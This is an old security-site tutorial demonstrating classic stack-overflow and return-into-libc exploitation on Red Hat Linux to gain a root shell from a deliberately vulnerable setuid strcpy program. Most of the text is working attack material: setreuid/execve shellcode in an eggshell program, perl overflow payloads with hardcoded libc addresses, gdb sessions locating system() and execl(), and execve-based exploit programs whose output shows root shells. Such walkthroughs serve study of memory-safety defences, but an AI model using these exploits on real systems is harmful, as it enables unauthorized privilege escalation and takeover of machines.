|
features post Articles
(Articles)
online chat server:
irc.xor.cx
channel:
#neworderrandom article
quotable quotes If you can't find a solution, try assuming that you have a solution and seeing what you can derive from that ("working backward"). George Pólya
|
Return-into-libc Test
@ Articles
Jun 04 2004, 18:50 (UTC+0) | wowhacker writes: Nowadays, it seems harder for hackers to exploit overflow vulnerabilities owing to the use of non-exec stacks by default, the detection of IDS's simple shellcode, etc. But we can get over these problems. With what? It's with the help of the 'return-into-libc' technique. With the knowledge of the libc functions and their operation, we can take another alternative approach to execution of arbitrary code to get a shell.
============================= * Return-into-libc Test * =============================
by vangelis
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Thanks Dalgona for test server & beist for his good idea, and reGen for his help, and loafers for his good article. Sorry for my poor English. I will revise ... +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
If we know the 'return-into-libc' technique, we can overcome the difficulties which older overflow exploitation method didnt't suggest. The older overflow technique used the concept of overwriting the EIP register with approximate address of many NOPs in memory or shellcode. We had to guess and estimate the return address and build large exploit buffers. However, instead of the older overflow technique, we can overwrite EIP with the address of a function contained within the libc library, with any function arguments following by using 'return-into-libc' technique. For example, we overwrite EIP with the address of system() or execl() included in the libc library to spawn a shell. 2. What is return-into-libc technique? Now, I demonstrate an example of 'return-into-libc' technique. Let's start the following program. This program use strcpy() function. As you know, strcpy() doesn't check boundary.
[vangelis@localhost return]$ vi vul.c int main(int argc, char *argv[]) { char buff[7];
strcpy(buff, argv[1]); return 0; }
~ ~ [vangelis@localhost return]$ gcc -o vul vul.c [vangelis@localhost return]$ su Password: [root@localhost return]# chown root vul [root@localhost return]# chgrp root vul [root@localhost return]# chmod 4755 vul [root@localhost return]# exit exit [vangelis@localhost return]$ ls -la ?⑷퀎 24 drwxrwxr-x 2 vangelis vangelis 4096 5??11 23:12 . drwxrwxr-x 5 vangelis vangelis 4096 5??11 22:47 .. -rwsr-xr-x 1 root root 11352 5??11 22:53 vul -rw-rw-r-- 1 vangelis vangelis 89 5??11 22:52 vul.c
Almost everyone with a small knowledge of buffer overflow can find out what the problem is. It is quite easy to exceed the bounds of 'buff' to overwrite our data for exploitation on the stack. In fact, we can exploit easily just with the older technique. At first, I will demonstrate the exploitation with the classical stack overflow technique by using eggshell.
[vangelis@localhost return]$ vi eggshell.c #include <stdlib.h>
#define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }
int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); }
addr = get_esp() - offset; printf("Using address: 0x%x\n", addr);
ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; } ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ~ ~ [vangelis@localhost return]$ gcc -o eggshell eggshell.c [vangelis@localhost return]$ ls -la ?⑷퀎 44 drwxrwxr-x 2 vangelis vangelis 4096 5??11 23:17 . drwxrwxr-x 5 vangelis vangelis 4096 5??11 22:47 .. -rwxrwxr-x 1 vangelis vangelis 12705 5??11 23:17 eggshell -rw-rw-r-- 1 vangelis vangelis 2224 5??11 23:17 eggshell.c -rwsr-xr-x 1 root root 11352 5??11 22:53 vul -rw-rw-r-- 1 vangelis vangelis 89 5??11 22:52 vul.c [vangelis@localhost return]$ ./eggshell Using address: 0xbffff8f8 [vangelis@localhost return]$ ./vul `perl -e 'print "\xf8\xf8\xff\xbf"x132'` sh-2.05b#
I got a root shell. It was quite easy to get a root shell with the classiacal stack overflow technique by using eggshell. But, if an administrator has enabled a non-executable stack as a security measure, the situation is different. Let's assume that we are in the situation of the use of non-executable stack in this article. To overcome this situation we can use 'return-into-libc' technique. We can also use other techniques, but let's stick to the 'return-into-libc' technique. The classical return-into-libc technique is well explained in Solar Designer's "Getting around non-executable stack (and fix)", but it will be a little difficult for beginner to grasp the outline of the article. So, I recommend Nergal's "The advanced return-into-lib(c) exploits: PaX case study" and shaun2k2's "Exploitation - Returning into libc". The classical return-into-libc method is "most commonly used to evade protection offered by the non-executable stack. Instead of returning into code located within the stack, the vulnerable function should return into a memory area occupied by a dynamic library. It can be achieved by overflowing a stack buffer with the following payload."
-------------------------------------------------------------------------------------- data to overflow buffer | addr of system() | 4 bytes dummy data | address of "/bin/sh" --------------------------------------------------------------------------------------
Let's get information to exploit the vulnerable program vul.c. We just have to get the addresses of system() and the string "/bin/sh". It is easy to get the address of system(). Let's make following program system.c that calls the libc function 'system()' without any arguments. We can get the address of systm() by using gdb.
[vangelis@localhost return]$ vi system.c int main() { system(); }
~ ~ [vangelis@localhost return]$ gcc -o system system.c [vangelis@localhost return]$ gdb system GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) break main Breakpoint 1 at 0x804832e (gdb) run Starting program: /home/vangelis/test/return/system /bin/bash: /root/.bashrc: Permission denied Breakpoint 1, 0x0804832e in main () (gdb) p system $1 = {<text variable, no debug info>} 0x42041e50 <system> (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@localhost return]$
I got the address of system(). The address is 0x42041e50. Now I have to get the address of the string "/bin/sh". To get the address of "/bin/sh" I wil use environmental variable. We can use an environmental variable to hold the string. An environment variable is ideal for holding the string "/bin/sh". So, I create an environmental variable called $WOWHACKER to store the string "/bin/sh".
[vangelis@localhost return]$ export WOWHACKER="/bin/sh" [vangelis@localhost return]$ echo $WOWHACKER /bin/sh [vangelis@localhost return]$ env SSH_AGENT_PID=922 HACK=/bin/sh HOSTNAME=localhost.localdomain PVM_RSH=/usr/bin/rsh TERM=xterm SHELL=/bin/bash HISTSIZE=1000 JLESSCHARSET=ko GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2 WINDOWID=23068815 QTDIR=/usr/lib/qt3-gcc3.2 USER=vangelis LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33; 01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:* .exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00; 32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zi p=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz= 00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35: *.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35: WOWHACKER=/bin/sh SSH_AUTH_SOCK=/tmp/ssh-XXNxttOD/agent.863 PVM_ROOT=/usr/share/pvm3 USERNAME=root SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/863 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin MAIL=/var/spool/mail/root PWD=/home/vangelis/test/return INPUTRC=/etc/inputrc XMODIFIERS=@im=Ami LANG=ko_KR.eucKR GDMSESSION=Default SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass SHLVL=3 HOME=/home/vangelis GNOME_DESKTOP_SESSION_ID=Default BASH_ENV=/root/.bashrc LOGNAME=vangelis LESSOPEN=|/usr/bin/lesspipe.sh %s DISPLAY=:0 G_BROKEN_FILENAMES=1 XAUTHORITY=/home/vangelis/.xauthj2VlJi COLORTERM=gnome-terminal _=/bin/env [vangelis@localhost return]$
Now I write to get the memory address of the environmental variable holding the string.
[vangelis@localhost return]$ vi env_addr.c int main(int argc, char *argv[]) { char *addr; addr=getenv(argv[1]);
printf("The address of %s is %p\n",argv[1],addr); return 0; } ~ ~ [vangelis@localhost return]$ gcc -o env_addr env_addr.c [vangelis@localhost return]$ ./env_addr WOWHACKER
The address of WOWHACKER is 0xbffffd5c.
The address of $WOWHACKER holding "/bin/sh" is 0xbffffd5c. Now I get all information to exploit the vulnerable program: · address of system() - 0x42041e50 · address of $WOWHACKER - 0xbffffd5c Our exploit payload looks like the following. Before going to it, you must remember that my system uses little-endian order system. So, we must reverse the order.
------------------------------------------------------------------------------- garbage data to overflow buffer | 0x42041e50 | 4 bytes dummy data | 0xbffffd5c -------------------------------------------------------------------------------
Because the vulnerable program uses arguments when being executed, I will use perl to exploit the vulnerable program. Let's make the attacking payload.
`perl -e 'print "VANG"x7,"\x50\x1e\x04\x42AAAA\x5c\xfd\xff\xbf"'` | | | | | | | | garbage data | 4 bytes dummy data | | | address of system() | address of environmental variable holding "/bin/sh"
[vangelis@localhost return]$ ./vul `perl -e 'print "VANG"x7,"\x50\x1e\x04\x42AAAA\x5c\xfd\xff\xbf"'` sh-2.05b$
I got a shell! But to my disappointment, I couln't get a root shell. Here we can know that there are some limitations in the classical return-into-libc technique. To get over this problem, Nergal and shaun2k2 suggest some methods in their articles. I used shaun2k2's methods. But there was one problem. I will explain the problem in the end of the following test. But remember that you can use his method in different situations. I will not inlcude any explanation about shaun2k2's way of exploitation. You can read his article and get the point of his way's.
------ beginning of shaun2k2's way in my linux box ------
[vangelis@localhost return]$ vi shell.c #include <stdio.h> #include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }
~ ~ [vangelis@localhost return]$ gcc -o shell shell.c [vangelis@localhost return]$ vi execl.c #include <stdio.h>
int main() { execl(); printf(0); }
~ ~ [vangelis@localhost return]$ gcc -o execl execl.c [vangelis@localhost return]$ gdb execl GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) break main Breakpoint 1 at 0x8048362 (gdb) run Starting program: /home/vangelis/test/return/execl /bin/bash: /root/.bashrc: Permission denied Breakpoint 1, 0x08048362 in main () (gdb) p execl $1 = {<text variable, no debug info>} 0x420ae890 <execl> (gdb) p printf $2 = {<text variable, no debug info>} 0x42052390 <printf> (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@localhost return]$ [vangelis@localhost return]$ export NULLSTRING="%3\$n" [vangelis@localhost return]$ echo $NULLSTRING %3$n [vangelis@localhost return]$ export SHELL="/home/vangelis/test/return/shell" [vangelis@localhost return]$ echo $SHELL /home/vangelis/test/return/shell [vangelis@localhost return]$ ./env_addr NULLSTRING The address of NULLSTRING is 0xbfffff89 [vangelis@localhost return]$ ./env_addr SHELL The address of SHELL is 0xbffffad5 [vangelis@localhost return]$ [vangelis@localhost return]$ vi vul2.c #include <stdio.h> #include <stdlib.h>
int main(int argc, char *argv[]) { char buff[5]; printf("The address of buff is %p\n",buff);
strcpy(buff, argv[1]); return 0; }
~ ~ [vangelis@localhost return]$ gcc -o vul2 vul2.c [vangelis@localhost return]$ su Password: [root@localhost return]# chown root vul2 [root@localhost return]# chgrp root vul2 [root@localhost return]# chmod 4755 vul2 [root@localhost return]# exit exit [vangelis@localhost return]$ [vangelis@localhost return]$ ./vul2 `perl -e 'print "1234"x13'` The address of buff is 0xbffff890 Segmentation fault [vangelis@localhost return]$ ./vul2 `perl -e 'print "1234"x7,"\x90\x23\x05\x42","x90\xe8\x0a\x42","\x89\xff\xff\xbf","\xd5\xfa\xff\xbf","\xd5\xfa\xff\xbf","\xd8\xf8\xff\xbf"'` The address of buff is 0xbffff890 Segmentation fault
------ end of shaun2k2's way in my linux box ------
3. New way to exploit I failed in above test because there is a string "0a" in the exploit payload. My linux box is Red Hat 8.0. My Red Hat linux box has the string "0a" in execl() function. So it was impossible for me to exploit the vulnerable program and get the root shell due to the string "0a". If there is the string "0a" in the execl(), it is impossible to exploit the vulnerable program by using the method of shaun2k2's . So I tried to find another linux box without "0a" in the execl() to apply shaun2k2's way. Dalgona recommended his server for my test. I thank him for that from the bottom of my heart. I thought that the process of my test would go well without any problem. But there were some problems to use shaun2k2's way. At that time beist suggested a more advanced way. The way also uses execl() function. This way was first suggested at "Hackerschool Hacking Festival". Let's go more detailed. The exploit to get a root shell includes the following payload.
------------------------------------------- garbage data | argv[0] - 8 | execl + 3 -------------------------------------------
Let's start. This was tested in Dalgona's server.
[vangelis@dalgona vangelis]$ vi vul.c int main(int argc, char *argv[]) { char buff[7];
strcpy(buff, argv[1]); return 0; }
[vangelis@dalgona vangelis]$ gcc -o vul vul.c [vangelis@dalgona vangelis]$ su Password: [root@dalgona vangelis]# chmod 4755 vul [root@dalgona vangelis]# chown vul root [root@dalgona vangelis]# chgrp vul root [root@dalgona vangelis]# exit [vangelis@dalgona vangelis]$ ls -al -rwsr-xr-x 1 root root 9596 5??20 00:51 vul -rw-rw-r-- 1 vangelis vangelis 116 5??20 00:51 vul.c
I made a simple program which calls execl() wthout any argument. And I got the address of execl() by using gdb. As you know, it is quite easy.
[vangelis@dalgona vangelis]$ vi execl.c main() { execl(); } ~ ~ [vangelis@dalgona vangelis]$ gcc -o execl execl.c [vangelis@dalgona vangelis]$ gdb execl GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) b main Breakpoint 1 at 0x8048392 (gdb) r Starting program: /home/vangelis/execl
Breakpoint 1, 0x08048392 in main () (gdb) print execl $1 = {<text variable, no debug info>} 0x400be520 <execl> (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@dalgona vangelis]$
I got the address of execl(). The address is 0x400be520. And then I made setid.c program to get a root shell when I exploit the vulnerable program. I will use setid.c for the argv[0] of execve() function in the exploit.
[vangelis@dalgona vangelis]$ vi setid.c main() {
setreuid(geteuid(),geteuid()); setregid(getegid(),getegid());
execl("/bin/bash", "sh", 0); } ~ ~ [vangelis@dalgona vangelis]$ gcc -o setid setid.c
I will find out the address of argv[0] by using gdb.
[vangelis@dalgona vangelis]$ gdb setid GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) b main Breakpoint 1 at 0x8048406 (gdb) r Starting program: /home/vangelis/setid
Breakpoint 1, 0x08048406 in main () (gdb) x/30s 0xbffffc00 0xbffffc00: "/home/vangelis/setid" 0xbffffc13: "HOSTNAME=heezin" 0xbffffc23: "SHELL=/bin/bash" 0xbffffc33: "TERM=xterm" 0xbffffc3e: "HISTSIZE=1000" 0xbffffc4c: "JLESSCHARSET=ko" 0xbffffc7e: "QT_XFT=no" 0xbffffc88: "SSH_TTY=/dev/pts/0" 0xbffffc9b: "USER=vangelis" 0xbffffe39: "5:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:" 0xbffffe6c: "KDEDIR=/usr" 0xbffffe78: "PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11R6/bin:/opt/IBMJava2-13/bin:/home/vangelis/bin" 0xbffffed2: "MAIL=/var/spool/mail/vangelis" 0xbffffef0: "_=/bin/bash" 0xbffffefc: "PWD=/home/vangelis" 0xbfffff0f: "INPUTRC=/etc/inputrc" 0xbfffff24: "JAVA_HOME=/opt/IBMJava2-13" 0xbfffff3f: "LANG=ko_KR.euckr" 0xbfffff50: "HOME=/home/vangelis" 0xbfffff64: "SHLVL=1" 0xbfffff6c: "LOGNAME=vangelis" 0xbfffffb2: "LESSOPEN=|/usr/bin/lesspipe.sh %s" 0xbfffffd4: "G_BROKEN_FILENAMES=1" 0xbfffffe9: "/home/vangelis/setid" 0xbffffffc: "" 0xbffffffd: "" (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@dalgona vangelis]$
I got a false address. It doesn't matter right now. Now I will make an exploit like following.
[vangelis@dalgona vangelis]$ vi exploit.c #include <unistd.h>
int main() {
char *path = "/home/vangelis/vul";
char *argv[] = { "./setid", "AAAABBBBCCCCDDDDEEEEFFFF\xe9\xff\xff\xbf\x23\xe5\x0b\x40", 0 };
execve(path, argv, 0); return 0; }
~ ~ [vangelis@dalgona vangelis]$ gcc -o exploit exploit.c [vangelis@dalgona vangelis]$ ./exploit Segmentation fault [vangelis@dalgona vangelis]$
It seems that there is a problem. The solution is that we have to find out the address of "./setid"(argv[0]) after the execution of execve().
[vangelis@dalgona vangelis]$ gdb exploit GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) r Starting program: /home/vangelis/exploit
Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000a70 in _start () from /lib/ld-linux.so.2 (gdb) symbol-file /home/vangelis/exploit Load new symbol table from "/home/vangelis/exploit"? (y or n) y
Reading symbols from /home/vangelis/exploit...done. (gdb) b main Breakpoint 1 at 0x8048342 (gdb) c Continuing.
Breakpoint 1, 0x08048342 in main () (gdb) x/10wx $ebp 0xbffffec8: 0xbffffef8 0x4003456d 0x00000002 0xbfffff24 ========== <-- &argv[0] 0xbffffed8: 0xbfffff30 0x401319f8 0x00000000 0x40008cd0 0xbffffee8: 0x400092d8 0x400104ac (gdb) x/10wx 0xbfffff24 0xbfffff24: 0xbfffffc0 0xbfffffc8 0x00000000 0x00000000 ========== ========== argv[0] argv[1]
0xbfffff34: 0x00000010 0x0383f9ff 0x00000006 0x00001000 0xbfffff44: 0x00000011 0x00000064
Let's see the contents of 0xbfffffc0 and 0xbfffffc8.
(gdb) x/s 0xbfffffc0 0xbfffffc0: "./setid" (gdb) x/s 0xbfffffc8 0xbfffffc8: "AAAABBBBCCCCDDDDEEEEFFFFeyy쩔#a\v@"
We identified the contents of argv[0] and argv[1].
(gdb) q The program is running. Exit anyway? (y or n) y [vangelis@dalgona vangelis]$
Let's make a new exploit.
[vangelis@dalgona vangelis]$ vi exploit2.c #include <unistd.h>
int main() {
char *path = "/home/vangelis/vul";
/* | garbage data | argv[0]-8 | execl+3 | */ char *argv[] = { "./set","AAAABBBBCCCCDDDDEEEEFFFF\x1c\xff\xff\xbf\x23\xe5\x0b\x40",0 };
execve(path, argv, 0);
return 0; } ~ ~ [vangelis@dalgona vangelis]$ ./exploit2 sh-2.05b# sh-2.05b# id uid=0(root) gid=507(vangelis) groups=507(vangelis) sh-2.05b# whoami root sh-2.05b#
Finally, I got a root shell!! But there is one thing left to solve. Do you remember I failed in my system owing to the "0a"? Now I will try the new way to exploit in my system.
[vangelis@localhost rtl]$ vi vul.c int main(int argc, char *argv[]) { char buff[7];
strcpy(buff, argv[1]); return 0; } ~ ~ [vangelis@localhost rtl]$ gcc -o vul vul.c [vangelis@localhost rtl]$ su Password: [root@localhost rtl]# chmod 4755 vul [root@localhost rtl]# chown root vul [root@localhost rtl]# chgrp root vul [root@localhost rtl]# ls -la ?⑷퀎 24 drwxr-xr-x 2 vangelis vangelis 4096 5??29 01:31 . drwxrwxr-x 6 vangelis vangelis 4096 5??29 01:23 .. -rwsr-xr-x 1 root root 11352 5??29 01:31 vul -rw-rw-r-- 1 vangelis vangelis 115 5??29 01:30 vul.c [root@localhost rtl]# su vangelis [vangelis@localhost rtl]$ vi execl.c [vangelis@localhost rtl]$ gcc -o execl execl.c [vangelis@localhost rtl]$ gdb execl GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) b main Breakpoint 1 at 0x804832e (gdb) r Starting program: /home/vangelis/test/rtl/execl /bin/bash: /root/.bashrc: Permission denied
Breakpoint 1, 0x0804832e in main () (gdb) p execl $1 = {<text variable, no debug info>} 0x420ae890 <execl> (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@localhost rtl]$ vi setid.c main() {
setreuid(geteuid(),geteuid()); setregid(getegid(),getegid());
execl("/bin/bash", "sh", 0); } ~ ~ [vangelis@localhost rtl]$ gcc -o setid setid.c [vangelis@localhost rtl]$ gdb setid GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) b main Breakpoint 1 at 0x8048406 (gdb) r Starting program: /home/vangelis/test/rtl/setid /bin/bash: /root/.bashrc: Permission denied
Breakpoint 1, 0x08048406 in main () (gdb) x/30s 0xbffffc00 0xbffffc00: ":*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm [...] 0xbffffcc8: ".bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00 [...] 0xbffffd4b: "PVM_ROOT=/usr/share/pvm3" 0xbffffd64: "SSH_AUTH_SOCK=/tmp/ssh-XXCipL12/agent.896" 0xbffffd8e: "SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/896" 0xbffffdcd: "USERNAME=root" 0xbffffddb: "MAIL=/var/spool/mail/root" 0xbffffdf5: "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin" 0xbffffe50: "_=/bin/bash" 0xbffffe5c: "INPUTRC=/etc/inputrc" 0xbffffe71: "PWD=/home/vangelis/test/rtl" 0xbffffe8d: "XMODIFIERS=@im=Ami" 0xbffffea0: "LANG=ko_KR.eucKR" 0xbffffeb1: "GDMSESSION=Default" 0xbffffec4: "SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass" 0xbffffef7: "HOME=/home/vangelis" 0xbfffff0b: "SHLVL=7" 0xbfffff13: "GNOME_DESKTOP_SESSION_ID=Default" 0xbfffff34: "BASH_ENV=/root/.bashrc" 0xbfffff4b: "LOGNAME=vangelis" 0xbfffff5c: "LESSOPEN=|/usr/bin/lesspipe.sh %s" 0xbfffff7e: "DISPLAY=:0" 0xbfffff89: "G_BROKEN_FILENAMES=1" 0xbfffff9e: "COLORTERM=gnome-terminal" 0xbfffffb7: "XAUTHORITY=/home/vangelis/.xauthsvjSKd" 0xbfffffde: "/home/vangelis/test/rtl/setid" 0xbffffffc: "" 0xbffffffd: "" 0xbffffffe: "" 0xbfffffff: "" (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@localhost rtl]$ vi exploit.c #include <unistd.h>
int main() {
char *path = "/home/vangelis/test/rtl/vul";
char *argv[] = { "./setid", "AAAABBBBCCCCDDDDEEEEFFFF\xde\xff\xff\xbf\x93\xe8\x0a\x42", 0 };
execve(path, argv, 0); return 0; } ~ ~ [vangelis@localhost rtl]$ gcc -o exploit exploit.c [vangelis@localhost rtl]$ ./exploit Segmentation fault [vangelis@localhost rtl]$ [vangelis@localhost rtl]$ gdb exploit GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) r Starting program: /home/vangelis/test/rtl/exploit /bin/bash: /root/.bashrc: Permission denied
Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000b30 in _start () from /lib/ld-linux.so.2 (gdb) sysmol-file /home/vangelis/test/rtl/exploit Undefined command: "sysmol-file". Try "help". (gdb) symbol-file /home/vangelis/test/rtl/exploit Load new symbol table from "/home/vangelis/test/rtl/exploit"? (y or n) y
Reading symbols from /home/vangelis/test/rtl/exploit...done. (gdb) b main Breakpoint 1 at 0x804832e (gdb) c Continuing.
Breakpoint 1, 0x0804832e in main () (gdb) x/10wx $ebp 0xbffffed8: 0xbffffef8 0x420158d4 0x00000002 0xbfffff24 0xbffffee8: 0xbfffff30 0x400124b8 0x00000002 0x08048278 0xbffffef8: 0x00000000 0x08048299 (gdb) x/10wx 0xbfffff24 0xbfffff24: 0xbfffffb7 0xbfffffbf 0x00000000 0x00000000 0xbfffff34: 0x00000010 0x0183f9ff 0x00000006 0x00001000 0xbfffff44: 0x00000011 0x00000064 (gdb) x/s 0xbfffffb7 0xbfffffb7: "./setid" (gdb) x/s 0xbfffffbf 0xbfffffbf: "AAAABBBBCCCCDDDDEEEEFFFF????\223?\nB" (gdb) q The program is running. Exit anyway? (y or n) y [vangelis@localhost rtl]$ vi exploit2.c #include <unistd.h>
int main() {
char *path = "/home/vangelis/test/rtl/vul";
char *argv[] = { "./setid", "AAAABBBBCCCCDDDDEEEEFFFF\x1c\xff\xff\xbf\x93\xe8\x0a\x42", 0 };
execve(path, argv, 0); return 0; } ~ ~ [vangelis@localhost rtl]$ gcc -o exploit2 exploit2.c [vangelis@localhost rtl]$ ./exploit2 sh-2.05b# sh-2.05b# id uid=0(root) gid=500(vangelis) groups=500(vangelis) sh-2.05b# whoami root sh-2.05b#
Wow! I got a root shell in my system(Red Hat 8.0). I just want this article to help readers for their study. References 1. shaun2k2, "Exploitation - Returning into libc" 2. Nergal, "The advanced return-into-lib(c) exploits: PaX case study" (http://phrack.org/phrack/58/p58-0x04) |
| Top of page
|